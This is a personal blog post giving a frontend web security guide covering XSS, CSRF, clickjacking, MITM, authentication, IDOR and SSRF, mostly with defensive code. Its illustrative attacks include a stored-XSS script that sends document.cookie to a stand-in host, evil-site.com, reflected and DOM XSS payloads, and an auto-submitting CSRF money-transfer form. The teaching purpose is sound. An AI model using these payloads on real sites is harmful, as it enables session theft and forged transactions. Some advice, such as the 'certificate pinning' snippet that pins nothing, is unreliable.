avatar
Siz Long

My name is Siz. I am a computer science graduate student specializing in backend development with Golang and Python, seeking opportunities in innovative tech projects. My personal website is me.longsizhuo.com .Connect with me on LinkedIn: https://www.linkedin.com/in/longsizhuo/.

  • Resume
  • Archives
  • Categories
  • Photos
  • Music



{{ date }}

{{ time }}

avatar
Siz Long

My name is Siz. I am a computer science graduate student specializing in backend development with Golang and Python, seeking opportunities in innovative tech projects. My personal website is me.longsizhuo.com .Connect with me on LinkedIn: https://www.linkedin.com/in/longsizhuo/.

  • 主页
  • Resume
  • Archives
  • Categories
  • Photos
  • Music

Web Security

  2023-06-14        
字数统计: 1.8k字   |   阅读时长: 11min

Web Security

Web security is a critical aspect of frontend development. Understanding security vulnerabilities and best practices helps protect users and applications from various attacks. This guide covers key security concepts for frontend developers.

Cross-Site Scripting (XSS)

XSS attacks involve injecting malicious scripts into web pages viewed by other users. These scripts execute in the victim’s browser and can steal cookies, session tokens, or personal information.

Types of XSS Attacks

1. Stored (Persistent) XSS

Malicious script is permanently stored on the target server (e.g., in a database):

  1. Attacker posts a comment with malicious JavaScript on a blog
  2. Server stores the comment in its database
  3. When other users view the page with the comment, the script executes in their browsers
1
2
3
4
5
6
7
8
9
10
<!-- User-generated content with malicious script -->
<div class="comment">
Great article!
<script>
fetch('https://evil-site.com/steal', {
method: 'POST',
body: JSON.stringify({ cookies: document.cookie })
});
</script>
</div>

2. Reflected XSS

Script is reflected off a web server but not stored:

  1. Attacker crafts a URL with malicious code
  2. Victim clicks the link
  3. Server includes the malicious string in the response
  4. Script executes in the victim’s browser
1
https://example.com/search?q=<script>alert(document.cookie)</script>

3. DOM-based XSS

Vulnerability exists in client-side code rather than server-side:

1
2
3
4
// Unsafe code
document.getElementById('output').innerHTML = location.hash.substring(1);

// If the URL has a hash like #<img src=x onerror="alert(1)">, the script will execute

XSS Prevention

1. Output Encoding/Escaping

Always encode user-generated content before inserting it into the DOM:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
// Instead of:
element.innerHTML = userInput;

// Do this:
element.textContent = userInput; // Automatically escapes HTML

// Or if using innerHTML, sanitize the input:
function escapeHTML(str) {
return str.replace(/[&<>"']/g, function(match) {
return {
'&': '&amp;',
'<': '&lt;',
'>': '&gt;',
'"': '&quot;',
"'": '&#39;'
}[match];
});
}
element.innerHTML = escapeHTML(userInput);

2. Content Security Policy (CSP)

CSP is an HTTP header that restricts which resources can be loaded and executed:

1
Content-Security-Policy: default-src 'self'; script-src 'self' https://trusted.com; object-src 'none';

The above policy allows scripts only from the same origin and trusted.com, blocks all plugins.

3. Sanitization Libraries

Use established libraries to clean user input:

1
2
3
4
5
// Using DOMPurify
import DOMPurify from 'dompurify';

const clean = DOMPurify.sanitize(userInput);
element.innerHTML = clean;

4. Frameworks with Built-in Protection

Modern frameworks like React automatically escape values in JSX:

1
2
3
4
5
6
7
8
9
// In React, this is safe:
function Comment({ text }) {
return <div>{text}</div>; // text is automatically escaped
}

// But this is dangerous:
function Comment({ text }) {
return <div dangerouslySetInnerHTML={{ __html: text }} />; // Only use with sanitized content
}

Cross-Site Request Forgery (CSRF)

CSRF tricks users into performing actions on a website where they’re authenticated, without their knowledge.

CSRF Attack Example

  1. User logs into bank.com and receives a session cookie
  2. Without logging out, user visits malicious-site.com
  3. Malicious site contains a form or script that submits to bank.com/transfer
  4. The browser automatically includes the bank.com cookies with the request
  5. The bank processes the transfer, believing it’s legitimate
1
2
3
4
5
6
7
<!-- On malicious-site.com -->
<body onload="document.forms[0].submit()">
<form action="https://bank.com/transfer" method="POST">
<input type="hidden" name="recipient" value="attacker" />
<input type="hidden" name="amount" value="1000" />
</form>
</body>

CSRF Prevention

1. CSRF Tokens

Include a unique, unpredictable token with each form submission:

1
2
3
4
<form action="/transfer" method="post">
<input type="hidden" name="csrf_token" value="randomToken123" />
<!-- other form fields -->
</form>

Server-side code must:

  1. Generate the token and store it in the user’s session
  2. Validate the token with each request
  3. Reject the request if the token is missing or invalid

2. SameSite Cookie Attribute

Restricts when cookies are sent with cross-site requests:

1
Set-Cookie: sessionid=abc123; SameSite=Strict; Secure; HttpOnly

SameSite values:

  • Strict: Cookies only sent in first-party context
  • Lax: Cookies sent with top-level navigations and safe HTTP methods
  • None: Cookies sent in all contexts (requires Secure flag)

3. Custom Headers

AJAX libraries like axios or fetch can automatically include custom headers:

1
2
3
4
5
6
7
8
9
// Browsers enforce Same-Origin Policy for custom headers in XMLHttpRequest/fetch
fetch('/api/transfer', {
method: 'POST',
headers: {
'X-Requested-With': 'XMLHttpRequest',
// Server should verify this header exists
},
body: formData
});

4. Double Submit Cookie

Set a cookie and include the same value in request parameters:

1
2
3
4
5
6
7
8
9
10
11
// Set a cookie
document.cookie = "doubleCsrfToken=abc123; Secure; SameSite=Lax";

// Include the same token in the request body or URL
fetch('/api/action', {
method: 'POST',
body: JSON.stringify({
csrfToken: 'abc123',
// other data
})
});

The server should verify that the cookie value matches the request parameter.

Clickjacking

Clickjacking (UI redress attack) tricks users into clicking on something different from what they perceive.

Prevention

X-Frame-Options Header

1
X-Frame-Options: DENY

Options:

  • DENY: Page cannot be displayed in a frame
  • SAMEORIGIN: Page can only be displayed in a frame on the same origin
  • ALLOW-FROM uri: Page can only be displayed in a frame on the specified origin

CSP frame-ancestors

Modern alternative to X-Frame-Options:

1
Content-Security-Policy: frame-ancestors 'none';

Options:

  • 'none': No embedding allowed
  • 'self': Same-origin embedding only
  • domain.com: Specific domains allowed

JavaScript Frame-Busting

1
2
3
4
// Basic frame-busting code
if (window !== window.top) {
window.top.location = window.location;
}

Man-in-the-Middle (MITM) Attacks

MITM attacks occur when attackers position themselves between the user and the server to intercept communications.

Prevention

1. HTTPS

Always use HTTPS to encrypt data in transit:

1
2
3
4
// Redirect HTTP to HTTPS
if (location.protocol !== 'https:') {
location.replace(`https:${location.href.substring(location.protocol.length)}`);
}

2. HTTP Strict Transport Security (HSTS)

Instructs browsers to only use HTTPS:

1
Strict-Transport-Security: max-age=31536000; includeSubDomains; preload

3. Certificate Pinning

Validates that the server’s certificate matches an expected value:

1
2
3
4
5
// Using fetch with certificate verification (simplified example)
fetch('https://example.com/api', {
method: 'GET',
// Modern browsers handle certificate validation automatically
});

Authentication and Authorization

Secure Password Handling

Never store or transmit passwords in plaintext:

1
2
3
4
5
6
7
8
9
10
// Client-side password handling
async function hashPassword(password) {
// Note: This is just for example. Real password hashing should be done server-side!
const encoder = new TextEncoder();
const data = encoder.encode(password);
const hash = await crypto.subtle.digest('SHA-256', data);
return Array.from(new Uint8Array(hash))
.map(b => b.toString(16).padStart(2, '0'))
.join('');
}

JWT (JSON Web Tokens)

Secure method for representing claims between parties:

1
2
3
4
5
6
7
8
9
// Storing JWT
localStorage.setItem('token', 'eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9...');

// Using JWT for authentication
fetch('/api/protected-resource', {
headers: {
'Authorization': `Bearer ${localStorage.getItem('token')}`
}
});

Security Considerations for JWT

  1. Store tokens in HttpOnly cookies to prevent XSS attacks
  2. Use short expiration times
  3. Implement token refresh mechanisms
  4. Validate tokens on the server

OAuth 2.0 and OpenID Connect

Standard protocols for authorization and authentication:

1
2
3
4
5
6
7
8
9
// Redirect to OAuth provider
function redirectToLogin() {
window.location.href =
'https://auth-provider.com/oauth/authorize' +
'?client_id=YOUR_CLIENT_ID' +
'&redirect_uri=https://your-app.com/callback' +
'&response_type=code' +
'&scope=profile email';
}

Content Security Vulnerabilities

Insecure Direct Object References (IDOR)

Exposing internal implementation objects to users:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
// Vulnerable code
app.get('/api/documents/:id', (req, res) => {
// No verification that the user is allowed to access this document
getDocument(req.params.id).then(doc => res.json(doc));
});

// Better approach
app.get('/api/documents/:id', (req, res) => {
// Verify user has access to the document
if (!userCanAccessDocument(req.user, req.params.id)) {
return res.status(403).json({ error: 'Forbidden' });
}
getDocument(req.params.id).then(doc => res.json(doc));
});

Server-Side Request Forgery (SSRF)

Tricking a server into making unintended requests:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
// Vulnerable code
app.get('/proxy', (req, res) => {
// No validation of the URL
fetch(req.query.url).then(response => response.text()).then(text => res.send(text));
});

// Better approach
app.get('/proxy', (req, res) => {
const url = req.query.url;

// Validate URL against whitelist
if (!isUrlWhitelisted(url)) {
return res.status(403).json({ error: 'URL not allowed' });
}

fetch(url).then(response => response.text()).then(text => res.send(text));
});

Client-Side Data Validation

Always validate data on both client and server:

1
2
3
4
5
6
7
8
// Client-side validation
function validateEmail(email) {
const re = /^[^\s@]+@[^\s@]+\.[^\s@]+$/;
return re.test(email);
}

// But remember: client-side validation is for UX, not security
// Always validate on the server too!

Third-Party Dependencies

Dependency Security

Regularly update and audit dependencies:

1
2
3
4
5
# Using npm to audit dependencies
npm audit

# Using npm to fix vulnerabilities
npm audit fix

Subresource Integrity (SRI)

Ensures external resources haven’t been tampered with:

1
2
3
4
5
<script 
src="https://cdn.example.com/library.js"
integrity="sha384-oqVuAfXRKap7fdgcCY5uykM6+R9GqQ8K/uxy9rx7HNQlGYl1kPzQho1wx4JwY8wC"
crossorigin="anonymous">
</script>

Security Testing

Regular Security Audits

Conduct regular security reviews:

  1. Static Analysis Security Testing (SAST)
  2. Dynamic Analysis Security Testing (DAST)
  3. Penetration Testing

OWASP Top 10

Familiarize yourself with the Open Web Application Security Project (OWASP) Top 10 vulnerabilities:

  1. Injection
  2. Broken Authentication
  3. Sensitive Data Exposure
  4. XML External Entities (XXE)
  5. Broken Access Control
  6. Security Misconfiguration
  7. Cross-Site Scripting (XSS)
  8. Insecure Deserialization
  9. Using Components with Known Vulnerabilities
  10. Insufficient Logging & Monitoring

Best Practices Checklist

  • Implement proper input validation and output encoding
  • Use HTTPS for all communications
  • Set secure headers (CSP, HSTS, X-Frame-Options)
  • Implement CSRF protection mechanisms
  • Use secure cookie attributes (HttpOnly, Secure, SameSite)
  • Avoid storing sensitive information in localStorage/sessionStorage
  • Implement proper authentication and authorization
  • Regularly update and audit dependencies
  • Use Content Security Policy to restrict resource loading
  • Implement proper error handling without leaking sensitive information
  • Validate user input on both client and server
  • Use prepared statements for database queries
  • Implement rate limiting to prevent brute force attacks
  • Conduct regular security testing

Learning Resources

  • OWASP Web Security Testing Guide
  • MDN Web Security
  • Google Web Fundamentals - Security
  • Content Security Policy Reference
  • Web.dev Security
  • JWT.io - Learn about JSON Web Tokens

Understanding security fundamentals is essential for building robust web applications that protect user data and maintain trust. Always prioritize security in your development practices.

  • Web Development
  • Security
  • XSS
  • CSRF
  • Authentication

扫一扫,分享到微信

微信分享二维码
Network Protocols for Frontend Developers
Browser Principles
目录
  1. 1. Web Security
    1. 1.1. Cross-Site Scripting (XSS)
      1. 1.1.1. Types of XSS Attacks
        1. 1.1.1.1. 1. Stored (Persistent) XSS
        2. 1.1.1.2. 2. Reflected XSS
        3. 1.1.1.3. 3. DOM-based XSS
      2. 1.1.2. XSS Prevention
        1. 1.1.2.1. 1. Output Encoding/Escaping
        2. 1.1.2.2. 2. Content Security Policy (CSP)
        3. 1.1.2.3. 3. Sanitization Libraries
        4. 1.1.2.4. 4. Frameworks with Built-in Protection
    2. 1.2. Cross-Site Request Forgery (CSRF)
      1. 1.2.1. CSRF Attack Example
      2. 1.2.2. CSRF Prevention
        1. 1.2.2.1. 1. CSRF Tokens
        2. 1.2.2.2. 2. SameSite Cookie Attribute
        3. 1.2.2.3. 3. Custom Headers
        4. 1.2.2.4. 4. Double Submit Cookie
    3. 1.3. Clickjacking
      1. 1.3.1. Prevention
        1. 1.3.1.1. X-Frame-Options Header
        2. 1.3.1.2. CSP frame-ancestors
        3. 1.3.1.3. JavaScript Frame-Busting
    4. 1.4. Man-in-the-Middle (MITM) Attacks
      1. 1.4.1. Prevention
        1. 1.4.1.1. 1. HTTPS
        2. 1.4.1.2. 2. HTTP Strict Transport Security (HSTS)
        3. 1.4.1.3. 3. Certificate Pinning
    5. 1.5. Authentication and Authorization
      1. 1.5.1. Secure Password Handling
      2. 1.5.2. JWT (JSON Web Tokens)
      3. 1.5.3. Security Considerations for JWT
      4. 1.5.4. OAuth 2.0 and OpenID Connect
    6. 1.6. Content Security Vulnerabilities
      1. 1.6.1. Insecure Direct Object References (IDOR)
      2. 1.6.2. Server-Side Request Forgery (SSRF)
    7. 1.7. Client-Side Data Validation
    8. 1.8. Third-Party Dependencies
      1. 1.8.1. Dependency Security
      2. 1.8.2. Subresource Integrity (SRI)
    9. 1.9. Security Testing
      1. 1.9.1. Regular Security Audits
      2. 1.9.2. OWASP Top 10
    10. 1.10. Best Practices Checklist
    11. 1.11. Learning Resources

150 篇 | 131.7k
次 | 人
这里自动载入天数这里自动载入时分秒
2022-2025 loong loong | 新南威尔士龙龙号